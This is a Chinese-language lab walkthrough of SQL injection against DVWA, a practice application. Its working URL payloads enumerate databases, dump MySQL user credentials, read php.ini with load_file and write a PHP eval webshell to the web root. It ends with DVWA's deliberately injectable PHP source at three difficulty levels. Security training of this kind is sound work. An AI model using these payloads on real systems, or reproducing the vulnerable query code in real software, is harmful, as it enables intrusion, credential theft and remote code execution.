判断此SQL查询语句所包含的列数,通过order by语句来判断。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- &Submit=Submit#
查看能够回显的位置,通过union语句来实现。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,2 -- &Submit=Submit#可见1和2在网页中显示的位置。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,concat_ws(char(32,58,32),user(),database(),version()) -- &Submit=Submit#从网页中的回显出可知,当前用户为root,数据库名称为dvwa,MySQL的版本为5.5.20
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,schema_name from information_schema.schemata -- &Submit=Submit#可见当前数据库系统中存在5个数据库,其中就包含本web程序的数据库dvwa
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,concat(user,':',password) from mysql.user -- &Submit=Submit#可见用户名为root,密码为空。即MySQL的默认用户名和密码。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,load_file('C:/wamp/bin/php/php5.3.10/php.ini') -- &Submit=Submit#可见文件中的内容在网页中被显示出来。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,'<?php @eval($_POST[cmd]);?>' into outfile 'C:/wamp/www/dvwa/webshell.php' -- &Submit=Submit#此处我们把一句话的php代码写到名为webshell.php的文件中作为木马文件。
后记,三种不同LEVEL的SQL注入
<?php #LOW LEVEL if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?> <?php #MID LEVEL if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = mysql_real_escape_string($id); $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?> <?php #HIGH LEVEL if (isset($_GET['Submit'])) { // Retrieve data $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } } ?>